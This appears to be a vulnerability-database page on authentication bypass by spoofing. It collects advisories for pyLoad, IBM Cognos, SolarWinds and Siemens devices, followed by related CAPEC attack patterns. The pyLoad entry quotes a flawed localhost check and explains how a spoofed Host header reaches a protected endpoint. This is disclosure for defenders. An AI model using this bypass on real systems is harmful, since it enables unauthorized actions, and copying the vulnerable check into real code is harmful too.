def local_check(func):
@wraps(func)
def wrapper(*args, **kwargs):
remote_addr = flask.request.environ.get("REMOTE_ADDR", "0")
http_host = flask.request.environ.get("HTTP_HOST", "0")
if remote_addr in ("127.0.0.1", "::ffff:127.0.0.1", "::1", "localhost") or http_host in (
"127.0.0.1:9666",
"[::1]:9666",
):
return func(*args, **kwargs)
else:
return "Forbidden", 403
return wrapper
Below we see that the '/flash/add' endpoint uses the middleware above.
https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11
@bp.route("/flash/add", methods=["POST"], endpoint="add")
@local_check
def add():
Notice how we are not authorized to access this endpoint when sending a request.
However, if we set the Host header to be 127.0.0.1:9666, we notice the request returns success.
Checking the front end as an admin, we now see that this did indeed succeed.
Impact
An unauthenticated user can perform actions that should only be available to authenticated users.
Severity
7.5 (High)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev88"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-7346"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-290"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-08T21:36:52Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nAny unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages.\n\n### Details\nAny unauthenticated attacker can bypass the localhost restrictions posed by the application and utilize this to create arbitrary packages. This is done by changing the `Host` header to the value of `127.0.0.1:9666`.\n\n### PoC\nThe application has middleware that prevents access to several routes by checking whether the `Host` header has a specific value. We bypassed this restriction.\n\nhttps://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36\n```python\n#: decorator\ndef local_check(func):\n @wraps(func)\n def wrapper(*args, **kwargs):\n remote_addr = flask.request.environ.get(\"REMOTE_ADDR\", \"0\")\n http_host = flask.request.environ.get(\"HTTP_HOST\", \"0\")\n\n if remote_addr in (\"127.0.0.1\", \"::ffff:127.0.0.1\", \"::1\", \"localhost\") or http_host in (\n \"127.0.0.1:9666\",\n \"[::1]:9666\",\n ):\n return func(*args, **kwargs)\n else:\n return \"Forbidden\", 403\n\n return wrapper\n```\n\nBelow we see that the \u0027/flash/add\u0027 endpoint uses the middleware above.\n\nhttps://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11\n```python\n@bp.route(\"/flash/add\", methods=[\"POST\"], endpoint=\"add\")\n@local_check\ndef add():\n```\n\nNotice how we are not authorized to access this endpoint when sending a request.\n\n\nHowever, if we set the `Host` header to be `127.0.0.1:9666`, we notice the request returns `success`.\n\n\nChecking the front end as an admin, we now see that this did indeed succeed.\n\n\n### Impact\nAn unauthenticated user can perform actions that should only be available to authenticated users.",
"id": "GHSA-x698-5hjm-w2m5",
"modified": "2025-07-08T23:38:45Z",
"published": "2025-07-08T21:36:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-x698-5hjm-w2m5"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/f4e2d12416ba2dfac7b036d5c8d6dab5461b9840"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L21-L36"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/blob/4159a1191ec4fe6d927e57a9c4bb8f54e16c381d/src/pyload/webui/app/blueprints/cnl_blueprint.py#L56-L58C11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "pyLoad is vulnerable to attacks that bypass localhost restrictions, enabling the creation of arbitrary packages"
}
GHSA-X6JR-WRHC-H2X2
Vulnerability from github – Published: 2024-05-03 21:30 – Updated: 2024-05-03 21:30
VLAI
Details
IBM Cognos Controller 10.4.1, 10.4.2, and 11.0.0 is vulnerable to external service interaction attack, caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability to induce the application to perform server-side DNS lookups or HTTP requests to arbitrary domain names. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with. IBM X-Force ID: 220903.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2022-22364"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T19:15:07Z",
"severity": "MODERATE"
},
"details": "IBM Cognos Controller 10.4.1, 10.4.2, and 11.0.0 is vulnerable to external service interaction attack, caused by improper validation of user-supplied input. A remote attacker could exploit this vulnerability to induce the application to perform server-side DNS lookups or HTTP requests to arbitrary domain names. By submitting suitable payloads, an attacker can cause the application server to attack other systems that it can interact with. IBM X-Force ID: 220903.",
"id": "GHSA-x6jr-wrhc-h2x2",
"modified": "2024-05-03T21:30:29Z",
"published": "2024-05-03T21:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22364"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/220903"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7149876"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X84R-583W-G39W
Vulnerability from github – Published: 2022-05-24 22:33 – Updated: 2024-01-26 00:30
VLAI
Details
Access Restriction Bypass via referrer spoof was discovered in SolarWinds Web Help Desk 12.7.2. An attacker can access the “Web Help Desk Getting Started Wizard”, especially the admin account creationpage, from a non-privileged IP address network range or loopback address by intercepting the HTTP request and changing the referrer from the public IP address to the loopback.
Severity
5.3 (Medium)
{
"affected": [],
"aliases": [
"CVE-2021-32076"
],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-26T15:15:00Z",
"severity": "MODERATE"
},
"details": "Access Restriction Bypass via referrer spoof was discovered in SolarWinds Web Help Desk 12.7.2. An attacker can access the \u201cWeb Help Desk Getting Started Wizard\u201d, especially the admin account creationpage, from a non-privileged IP address network range or loopback address by intercepting the HTTP request and changing the referrer from the public IP address to the loopback.",
"id": "GHSA-x84r-583w-g39w",
"modified": "2024-01-26T00:30:24Z",
"published": "2022-05-24T22:33:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-32076"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/208278"
},
{
"type": "WEB",
"url": "https://www.solarwinds.com/trust-center/security-advisories/cve-2021-32076"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X866-V2PC-MX93
Vulnerability from github – Published: 2024-04-09 09:31 – Updated: 2024-04-09 09:31
VLAI
Details
A vulnerability has been identified in SCALANCE W1748-1 M12 (6GK5748-1GY01-0AA0), SCALANCE W1748-1 M12 (6GK5748-1GY01-0TA0), SCALANCE W1788-1 M12 (6GK5788-1GY01-0AA0), SCALANCE W1788-2 EEC M12 (6GK5788-2GY01-0TA0), SCALANCE W1788-2 M12 (6GK5788-2GY01-0AA0), SCALANCE W1788-2IA M12 (6GK5788-2HY01-0AA0), SCALANCE W721-1 RJ45 (6GK5721-1FC00-0AA0), SCALANCE W721-1 RJ45 (6GK5721-1FC00-0AB0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AA0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AB0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AC0), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AA0), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AA6), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AB0), SCALANCE W734-1 RJ45 (USA) (6GK5734-1FX00-0AB6), SCALANCE W738-1 M12 (6GK5738-1GY00-0AA0), SCALANCE W738-1 M12 (6GK5738-1GY00-0AB0), SCALANCE W748-1 M12 (6GK5748-1GD00-0AA0), SCALANCE W748-1 M12 (6GK5748-1GD00-0AB0), SCALANCE W748-1 RJ45 (6GK5748-1FC00-0AA0), SCALANCE W748-1 RJ45 (6GK5748-1FC00-0AB0), SCALANCE W761-1 RJ45 (6GK5761-1FC00-0AA0), SCALANCE W761-1 RJ45 (6GK5761-1FC00-0AB0), SCALANCE W774-1 M12 EEC (6GK5774-1FY00-0TA0), SCALANCE W774-1 M12 EEC (6GK5774-1FY00-0TB0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AA0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AA6), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AB0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AC0), SCALANCE W774-1 RJ45 (USA) (6GK5774-1FX00-0AB6), SCALANCE W778-1 M12 (6GK5778-1GY00-0AA0), SCALANCE W778-1 M12 (6GK5778-1GY00-0AB0), SCALANCE W778-1 M12 EEC (6GK5778-1GY00-0TA0), SCALANCE W778-1 M12 EEC (USA) (6GK5778-1GY00-0TB0), SCALANCE W786-1 RJ45 (6GK5786-1FC00-0AA0), SCALANCE W786-1 RJ45 (6GK5786-1FC00-0AB0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AA0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AB0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AC0), SCALANCE W786-2 SFP (6GK5786-2FE00-0AA0), SCALANCE W786-2 SFP (6GK5786-2FE00-0AB0), SCALANCE W786-2IA RJ45 (6GK5786-2HC00-0AA0), SCALANCE W786-2IA RJ45 (6GK5786-2HC00-0AB0), SCALANCE W788-1 M12 (6GK5788-1GD00-0AA0), SCALANCE W788-1 M12 (6GK5788-1GD00-0AB0), SCALANCE W788-1 RJ45 (6GK5788-1FC00-0AA0), SCALANCE W788-1 RJ45 (6GK5788-1FC00-0AB0), SCALANCE W788-2 M12 (6GK5788-2GD00-0AA0), SCALANCE W788-2 M12 (6GK5788-2GD00-0AB0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TA0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TB0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TC0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AA0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AB0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AC0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0), SCALANCE WAM766-1 (EU) (6GK5766-1GE00-7DA0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0), SCALANCE WAM766-1 EEC (EU) (6GK5766-1GE00-7TA0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0), SCALANCE WUM766-1 (EU) (6GK5766-1GE00-3DA0), SCALANCE WUM766-1 (US) (6GK5766-1GE00-3DB0). This CVE refers to Scenario 2 "Abuse the queue for network disruptions" of CVE-2022-47522.
Affected devices can be tricked into enabling its power-saving mechanisms for a victim client. This could allow a physically proximate attacker to execute disconnection and denial-of-service attacks.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-30190"
],
"database_specific": {
"cwe_ids": [
"CWE-290"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-04-09T09:15:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability has been identified in SCALANCE W1748-1 M12 (6GK5748-1GY01-0AA0), SCALANCE W1748-1 M12 (6GK5748-1GY01-0TA0), SCALANCE W1788-1 M12 (6GK5788-1GY01-0AA0), SCALANCE W1788-2 EEC M12 (6GK5788-2GY01-0TA0), SCALANCE W1788-2 M12 (6GK5788-2GY01-0AA0), SCALANCE W1788-2IA M12 (6GK5788-2HY01-0AA0), SCALANCE W721-1 RJ45 (6GK5721-1FC00-0AA0), SCALANCE W721-1 RJ45 (6GK5721-1FC00-0AB0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AA0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AB0), SCALANCE W722-1 RJ45 (6GK5722-1FC00-0AC0), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AA0), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AA6), SCALANCE W734-1 RJ45 (6GK5734-1FX00-0AB0), SCALANCE W734-1 RJ45 (USA) (6GK5734-1FX00-0AB6), SCALANCE W738-1 M12 (6GK5738-1GY00-0AA0), SCALANCE W738-1 M12 (6GK5738-1GY00-0AB0), SCALANCE W748-1 M12 (6GK5748-1GD00-0AA0), SCALANCE W748-1 M12 (6GK5748-1GD00-0AB0), SCALANCE W748-1 RJ45 (6GK5748-1FC00-0AA0), SCALANCE W748-1 RJ45 (6GK5748-1FC00-0AB0), SCALANCE W761-1 RJ45 (6GK5761-1FC00-0AA0), SCALANCE W761-1 RJ45 (6GK5761-1FC00-0AB0), SCALANCE W774-1 M12 EEC (6GK5774-1FY00-0TA0), SCALANCE W774-1 M12 EEC (6GK5774-1FY00-0TB0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AA0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AA6), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AB0), SCALANCE W774-1 RJ45 (6GK5774-1FX00-0AC0), SCALANCE W774-1 RJ45 (USA) (6GK5774-1FX00-0AB6), SCALANCE W778-1 M12 (6GK5778-1GY00-0AA0), SCALANCE W778-1 M12 (6GK5778-1GY00-0AB0), SCALANCE W778-1 M12 EEC (6GK5778-1GY00-0TA0), SCALANCE W778-1 M12 EEC (USA) (6GK5778-1GY00-0TB0), SCALANCE W786-1 RJ45 (6GK5786-1FC00-0AA0), SCALANCE W786-1 RJ45 (6GK5786-1FC00-0AB0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AA0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AB0), SCALANCE W786-2 RJ45 (6GK5786-2FC00-0AC0), SCALANCE W786-2 SFP (6GK5786-2FE00-0AA0), SCALANCE W786-2 SFP (6GK5786-2FE00-0AB0), SCALANCE W786-2IA RJ45 (6GK5786-2HC00-0AA0), SCALANCE W786-2IA RJ45 (6GK5786-2HC00-0AB0), SCALANCE W788-1 M12 (6GK5788-1GD00-0AA0), SCALANCE W788-1 M12 (6GK5788-1GD00-0AB0), SCALANCE W788-1 RJ45 (6GK5788-1FC00-0AA0), SCALANCE W788-1 RJ45 (6GK5788-1FC00-0AB0), SCALANCE W788-2 M12 (6GK5788-2GD00-0AA0), SCALANCE W788-2 M12 (6GK5788-2GD00-0AB0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TA0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TB0), SCALANCE W788-2 M12 EEC (6GK5788-2GD00-0TC0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AA0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AB0), SCALANCE W788-2 RJ45 (6GK5788-2FC00-0AC0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0), SCALANCE WAM766-1 (EU) (6GK5766-1GE00-7DA0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0), SCALANCE WAM766-1 EEC (EU) (6GK5766-1GE00-7TA0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0), SCALANCE WUM766-1 (EU) (6GK5766-1GE00-3DA0), SCALANCE WUM766-1 (US) (6GK5766-1GE00-3DB0). This CVE refers to Scenario 2 \"Abuse the queue for network disruptions\" of CVE-2022-47522.\n\nAffected devices can be tricked into enabling its power-saving mechanisms for a victim client. This could allow a physically proximate attacker to execute disconnection and denial-of-service attacks.",
"id": "GHSA-x866-v2pc-mx93",
"modified": "2024-04-09T09:31:11Z",
"published": "2024-04-09T09:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30190"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-457702.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-21: Exploitation of Trusted Identifiers
An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.
CAPEC-22: Exploiting Trust in Client
An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
CAPEC-459: Creating a Rogue Certification Authority Certificate
An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.
CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness
An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.
CAPEC-473: Signature Spoof
An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.
CAPEC-476: Signature Spoofing by Misrepresentation
An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-667: Bluetooth Impersonation AttackS (BIAS)
An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.
CAPEC-94: Adversary in the Middle (AiTM)
An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.